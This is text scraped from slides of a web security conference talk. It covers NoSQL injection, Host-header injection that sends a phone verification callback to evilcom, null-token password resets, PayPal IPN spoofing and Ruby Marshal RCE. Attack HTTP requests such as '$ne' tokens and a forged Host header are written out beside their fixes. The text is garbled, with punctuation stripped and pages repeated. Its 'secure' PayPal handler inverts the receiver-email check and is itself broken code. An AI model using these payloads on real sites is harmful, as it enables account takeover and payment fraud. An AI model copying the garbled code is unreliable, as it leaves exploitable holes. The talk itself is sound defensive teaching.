Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 4: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Aggressive input decoding

Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding

httpwwwphrackorgpapersattacking_ruby_on_railshtml

post hello doname = params[name]render_response 200 name

POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded

name=andres

POST hello HTTP11Host examplecomContent-Type applicationjson

name andres

Decode to a Ruby Hash

POST hello HTTP11Host examplecomContent-Type applicationjson

name foo 1

In all previous cases the type of the name variable was a String but we can force it to be a Hash

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 5: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Decode to a Ruby Hash

POST hello HTTP11Host examplecomContent-Type applicationjson

name foo 1

In all previous cases the type of the name variable was a String but we can force it to be a Hash

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 6: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

noSQL ODM introduction

When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to

Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token dee1303d11814cf70d21a5193030bb8e user_id 3578

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

